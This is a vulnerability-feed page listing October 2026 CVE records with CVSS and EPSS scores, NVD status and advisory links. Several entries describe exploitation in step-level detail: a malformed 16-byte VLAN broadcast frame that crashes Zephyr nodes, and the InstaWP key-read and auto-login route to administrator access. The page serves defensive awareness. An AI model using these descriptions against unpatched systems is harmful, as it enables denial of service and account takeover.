https://kevwire.com/record/CVE-2026-69867
Out-of-bounds read in SQLite allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in SQLite allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69867).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69867&date=2026-10-25).
Sources:
NVD CVE-2026-69867: https://nvd.nist.gov/vuln/detail/CVE-2026-69867
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69867&date=2026-10-25
Out-of-bounds read in SQLite allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69856
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69856).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69856&date=2026-10-25).
Sources:
NVD CVE-2026-69856: https://nvd.nist.gov/vuln/detail/CVE-2026-69856
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69856&date=2026-10-25
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows Certificates allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69850
Untrusted pointer dereference in Windows Certificates allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in Windows Certificates allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69850).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69850&date=2026-10-25).
Sources:
NVD CVE-2026-69850: https://nvd.nist.gov/vuln/detail/CVE-2026-69850
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69850&date=2026-10-25
Untrusted pointer dereference in Windows Certificates allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Certificates allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69840
Use after free in Windows Certificates allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Certificates allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69840).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69840&date=2026-10-25).
Sources:
NVD CVE-2026-69840: https://nvd.nist.gov/vuln/detail/CVE-2026-69840
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69840&date=2026-10-25
Use after free in Windows Certificates allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69798
Use after free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69798).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69798&date=2026-10-25).
Sources:
NVD CVE-2026-69798: https://nvd.nist.gov/vuln/detail/CVE-2026-69798
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69798&date=2026-10-25
Use after free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Null pointer dereference in Windows Clipboard Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69795
Null pointer dereference in Windows Clipboard Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Null pointer dereference in Windows Clipboard Server allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69795).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69795&date=2026-10-25).
Sources:
NVD CVE-2026-69795: https://nvd.nist.gov/vuln/detail/CVE-2026-69795
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69795&date=2026-10-25
Null pointer dereference in Windows Clipboard Server allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69766
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69766).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69766&date=2026-10-25).
Sources:
NVD CVE-2026-69766: https://nvd.nist.gov/vuln/detail/CVE-2026-69766
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69766&date=2026-10-25
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69763
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69763).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69763&date=2026-10-25).
Sources:
NVD CVE-2026-69763: https://nvd.nist.gov/vuln/detail/CVE-2026-69763
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69763&date=2026-10-25
Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Manager allows an authorized attacker to elevate privileges...
https://kevwire.com/record/CVE-2026-69736
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Manager allows an authorized attacker to elevate privileges... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69736).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69736&date=2026-10-25).
Sources:
NVD CVE-2026-69736: https://nvd.nist.gov/vuln/detail/CVE-2026-69736
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69736&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Manager allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Windows iSCSI allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69705
Out-of-bounds write in Windows iSCSI allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in Windows iSCSI allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69705).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69705&date=2026-10-25).
Sources:
NVD CVE-2026-69705: https://nvd.nist.gov/vuln/detail/CVE-2026-69705
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69705&date=2026-10-25
Out-of-bounds write in Windows iSCSI allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper resource shutdown or release in Windows UEFI allows an authorized attacker to bypass a security feature locally.
https://kevwire.com/record/CVE-2026-49785
Improper resource shutdown or release in Windows UEFI allows an authorized attacker to bypass a security feature locally. (Oct 13, 2026).
Improper resource shutdown or release in Windows UEFI allows an authorized attacker to bypass a security feature locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-49785).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-49785&date=2026-10-25).
Sources:
NVD CVE-2026-49785: https://nvd.nist.gov/vuln/detail/CVE-2026-49785
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-49785&date=2026-10-25
Improper resource shutdown or release in Windows UEFI allows an authorized attacker to bypass a security feature locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ethernet_recv() in subsys/net/l2/ethernet/ethernet.c validates only that the first net_buf of a received frame holds a plain 14-byte struct net_eth_hdr.
https://kevwire.com/record/CVE-2026-19673
ethernet_recv() in subsys/net/l2/ethernet/ethernet.c validates only that the first net_buf of a received frame holds a plain 14-byte struct net_eth_hdr. (Oct 14, 2026).
ethernet_recv() in subsys/net/l2/ethernet/ethernet.c validates only that the first net_buf of a received frame holds a plain 14-byte struct net_eth_hdr. When the ethertype is 0x8100 and VLAN is enabled on the interface, the same buffer is reinterpreted as the 18-byte struct net_eth_vlan_hdr without re-checking the length: the VLAN TCI and the inner ethertype are read from offsets 14..17, past pkt->buffer->len, and hdr_len is raised to 18 so the subsequent net_buf_pull() removes more bytes than the buffer holds.

A single unauthenticated frame of 14 to 17 bytes carrying the VLAN ethertype triggers this. No knowledge of the node's VLAN configuration is needed: net_eth_get_vlan_iface() returns the base interface for the priority tag 0, and a broadcast destination address satisfies the "frame is for me" test, so a 16-byte broadcast frame with ethertype 0x8100 and TCI 0x0000 reaches the pull. Nothing in the receive path enforces the 60-byte Ethernet minimum — the USB CDC ECM and CDC NCM gadget classes in particular hand host-supplied frames of any non-zero length straight to net_recv_data().

With assertions enabled, net_buf_simple_pull() asserts and the node panics. In a production build (assertions and CONFIG_NET_BUF_HARDENING off) the uint16_t buffer length underflows to 65534 and buf->data is advanced past the end of the fragment's storage, so every later parser reads far outside the buffer and any net_buf_add() on that fragment computes tailroom from the underflowed length. The result is a reliable remote denial of service and out-of-bounds access with information-disclosure and corruption potential.

Only configurations built with CONFIG_NET_VLAN=y that have a VLAN enabled on the receiving Ethernet interface, and whose MAC does not strip VLAN tags in hardware (ETHERNET_HW_VLAN_TAG_STRIP), are affected. The fix rejects the frame before the tag is read, so hdr_len is thereafter either 14 or 18 with both sizes validated against pkt->buffer->len.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19673).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19673&date=2026-10-25).
Sources:
NVD CVE-2026-19673: https://nvd.nist.gov/vuln/detail/CVE-2026-19673
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19673&date=2026-10-25
ethernet_recv() in subsys/net/l2/ethernet/ethernet.c validates only that the first net_buf of a received frame holds a plain 14-byte struct net_eth_hdr. When the ethertype is 0x8100 and VLAN is enabled on the interface, the same buffer is reinterpreted as the 18-byte struct net_eth_vlan_hdr without re-checking the length: the VLAN TCI and the inner ethertype are read from offsets 14..17, past pkt->buffer->len, and hdr_len is raised to 18 so the subsequent net_buf_pull() removes more bytes than the buffer holds.

A single unauthenticated frame of 14 to 17 bytes carrying the VLAN ethertype triggers this. No knowledge of the node's VLAN configuration is needed: net_eth_get_vlan_iface() returns the base interface for the priority tag 0, and a broadcast destination address satisfies the "frame is for me" test, so a 16-byte broadcast frame with ethertype 0x8100 and TCI 0x0000 reaches the pull. Nothing in the receive path enforces the 60-byte Ethernet minimum — the USB CDC ECM and CDC NCM gadget classes in particular hand host-supplied frames of any non-zero length straight to net_recv_data().

With assertions enabled, net_buf_simple_pull() asserts and the node panics. In a production build (assertions and CONFIG_NET_BUF_HARDENING off) the uint16_t buffer length underflows to 65534 and buf->data is advanced past the end of the fragment's storage, so every later parser reads far outside the buffer and any net_buf_add() on that fragment computes tailroom from the underflowed length. The result is a reliable remote denial of service and out-of-bounds access with information-disclosure and corruption potential.

Only configurations built with CONFIG_NET_VLAN=y that have a VLAN enabled on the receiving Ethernet interface, and whose MAC does not strip VLAN tags in hardware (ETHERNET_HW_VLAN_TAG_STRIP), are affected. The fix rejects the frame before the tag is read, so hdr_len is thereafter either 14 or 18 with both sizes validated against pkt->buffer->len.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ADP Desktop SDK contains a vulnerability where sensitive information is transmitted in clear text.
https://kevwire.com/record/CVE-2026-15102
ADP Desktop SDK contains a vulnerability where sensitive information is transmitted in clear text. (Oct 14, 2026).
ADP Desktop SDK contains a vulnerability where sensitive information is transmitted in clear text. Exploitation of this vulnerability can lead to unauthorized access to Autodesk services.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-15102).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-15102&date=2026-10-25).
Sources:
NVD CVE-2026-15102: https://nvd.nist.gov/vuln/detail/CVE-2026-15102
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-15102&date=2026-10-25
ADP Desktop SDK contains a vulnerability where sensitive information is transmitted in clear text. Exploitation of this vulnerability can lead to unauthorized access to Autodesk services.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wheels CLI 4.0.0 through 4.1.1 insufficiently validates or escapes caller-supplied values and package contents.
https://kevwire.com/record/CVE-2026-111451
Wheels CLI 4.0.0 through 4.1.1 insufficiently validates or escapes caller-supplied values and package contents. (Oct 16, 2026).
Wheels CLI 4.0.0 through 4.1.1 insufficiently validates or escapes caller-supplied values and package contents. Deploy release/version/rollback values can execute shell commands on deploy hosts as the SSH user and on the CI runner during builds. Package removal and destroy paths can delete unintended files; package extraction can overwrite other vendor files; generator names can write outside the project or inject executable CFML into generated code. Inputs may originate from CI variables, branch names, packages or an AI agent using the CLI's MCP tools. Also relevant are unencoded display properties in generated scaffold show views since 4.1.0 and in generated admin views, permitting stored XSS, and stale process-ID handling in RustCFML server commands that can terminate an unrelated process. This is fixed in 4.1.2; existing affected generated views also require the documented edit.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111451).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111451&date=2026-10-25).
Sources:
NVD CVE-2026-111451: https://nvd.nist.gov/vuln/detail/CVE-2026-111451
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111451&date=2026-10-25
Wheels CLI 4.0.0 through 4.1.1 insufficiently validates or escapes caller-supplied values and package contents. Deploy release/version/rollback values can execute shell commands on deploy hosts as the SSH user and on the CI runner during builds. Package removal and destroy paths can delete unintended files; package extraction can overwrite other vendor files; generator names can write outside the project or inject executable CFML into generated code. Inputs may originate from CI variables, branch names, packages or an AI agent using the CLI's MCP tools. Also relevant are unencoded display properties in generated scaffold show views since 4.1.0 and in generated admin views, permitting stored XSS, and stale process-ID handling in RustCFML server commands that can terminate an unrelated process. This is fixed in 4.1.2; existing affected generated views also require the documented edit.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Nexter Extension – Security, Performance, Code Snippets & Site Toolkit plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.7.11...
https://kevwire.com/record/CVE-2026-111114
The Nexter Extension – Security, Performance, Code Snippets & Site Toolkit plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.7.11... (Oct 16, 2026).
The Nexter Extension – Security, Performance, Code Snippets & Site Toolkit plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.7.11 The vulnerability exists because the `/?reset-view` handler in `role_switcher_to_view_admin_as()` performs no nonce or capability check when the supplied username matches the authenticated caller, and because the plugin's only cleanup mechanism — the `profile_update` hook — does not fire when WordPress performs a bulk role change via `wp-admin/users.php?action=promote`, which calls `WP_User::set_role()` directly and leaves a stale `administrator` value in the `nxtext_view_admin_original_role` user meta. This makes it possible for authenticated attackers with Subscriber-level access or above to restore the stale stored Administrator role to their own account, effectively escalating their privileges to Administrator. Exploitation requires that the attacker's account previously held the Administrator role and used the View Admin Role Switcher feature before being demoted specifically through the bulk role-change control rather than the Edit User screen, as only the bulk path bypasses the `profile_update` hook that would otherwise have cleared the stored original role.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111114).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111114&date=2026-10-25).
Sources:
NVD CVE-2026-111114: https://nvd.nist.gov/vuln/detail/CVE-2026-111114
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111114&date=2026-10-25
The Nexter Extension – Security, Performance, Code Snippets & Site Toolkit plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.7.11 The vulnerability exists because the `/?reset-view` handler in `role_switcher_to_view_admin_as()` performs no nonce or capability check when the supplied username matches the authenticated caller, and because the plugin's only cleanup mechanism — the `profile_update` hook — does not fire when WordPress performs a bulk role change via `wp-admin/users.php?action=promote`, which calls `WP_User::set_role()` directly and leaves a stale `administrator` value in the `nxtext_view_admin_original_role` user meta. This makes it possible for authenticated attackers with Subscriber-level access or above to restore the stale stored Administrator role to their own account, effectively escalating their privileges to Administrator. Exploitation requires that the attacker's account previously held the Administrator role and used the View Admin Role Switcher feature before being demoted specifically through the bulk role-change control rather than the Edit User screen, as only the bulk path bypasses the `profile_update` hook that would otherwise have cleared the stored original role.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability.
https://kevwire.com/record/CVE-2026-110445
TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability. (Oct 14, 2026).
TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability. Unauthenticated remote attackers can trick users into interacting with crafted content to inject and execute arbitrary JavaScript. After the user confirms a Windows security warning, attackers can execute arbitrary code with the privileges of the current user.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110445).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110445&date=2026-10-25).
Sources:
NVD CVE-2026-110445: https://nvd.nist.gov/vuln/detail/CVE-2026-110445
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110445&date=2026-10-25
TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability. Unauthenticated remote attackers can trick users into interacting with crafted content to inject and execute arbitrary JavaScript. After the user confirms a Windows security warning, attackers can execute arbitrary code with the privileges of the current user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability.
https://kevwire.com/record/CVE-2026-110444
TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability. (Oct 14, 2026).
TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability. Unauthenticated remote attackers can trick users into opening a crafted link to inject and execute arbitrary JavaScript. After the user confirms a Windows security warning, attackers can execute arbitrary code with the privileges of the current user.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110444).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110444&date=2026-10-25).
Sources:
NVD CVE-2026-110444: https://nvd.nist.gov/vuln/detail/CVE-2026-110444
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110444&date=2026-10-25
TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability. Unauthenticated remote attackers can trick users into opening a crafted link to inject and execute arbitrary JavaScript. After the user confirms a Windows security warning, attackers can execute arbitrary code with the privileges of the current user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 0.1.4.1 This is due to the...
https://kevwire.com/record/CVE-2026-109400
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 0.1.4.1 This is due to the... (Oct 16, 2026).
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 0.1.4.1 This is due to the plugin registering its admin page via `add_management_page()` using a role name returned by `InstaWP_Setting::get_allowed_role()` as the required capability — which WordPress resolves as a real capability match for any user holding that role — combined with `generate_section_field()` rendering the master API key from the `instawp_api_options` option directly as the `value` attribute of a plain-text HTML input with no additional `manage_options` or equivalent capability check. This makes it possible for authenticated attackers with Subscriber-level access and above to read the plaintext master API key, use its SHA-256-derived secret as a bearer token accepted by the plugin's REST API `validate_api_request()`, and call `POST /wp-json/instawp-connect/v2/auto-login` to mint a 30-second single-use login URL that sets an administrator authentication cookie — fully escalating their privileges. Exploitation requires the site to be actively connected to InstaWP and an administrator to have added the attacker's role to the plugin's Sync Tab Access list (`instawp_sync_tab_roles`); notably, the settings tab suppression logic only hides the tab when `administrator` is absent from the list entirely, meaning a mixed configuration retaining administrator alongside a lower role still serves the full settings page — including the API key — to the lower-privileged user.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109400).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109400&date=2026-10-25).
Sources:
NVD CVE-2026-109400: https://nvd.nist.gov/vuln/detail/CVE-2026-109400
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109400&date=2026-10-25
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 0.1.4.1 This is due to the plugin registering its admin page via `add_management_page()` using a role name returned by `InstaWP_Setting::get_allowed_role()` as the required capability — which WordPress resolves as a real capability match for any user holding that role — combined with `generate_section_field()` rendering the master API key from the `instawp_api_options` option directly as the `value` attribute of a plain-text HTML input with no additional `manage_options` or equivalent capability check. This makes it possible for authenticated attackers with Subscriber-level access and above to read the plaintext master API key, use its SHA-256-derived secret as a bearer token accepted by the plugin's REST API `validate_api_request()`, and call `POST /wp-json/instawp-connect/v2/auto-login` to mint a 30-second single-use login URL that sets an administrator authentication cookie — fully escalating their privileges. Exploitation requires the site to be actively connected to InstaWP and an administrator to have added the attacker's role to the plugin's Sync Tab Access list (`instawp_sync_tab_roles`); notably, the settings tab suppression logic only hides the tab when `administrator` is absent from the list entirely, meaning a mixed configuration retaining administrator alongside a lower role still serves the full settings page — including the API key — to the lower-privileged user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
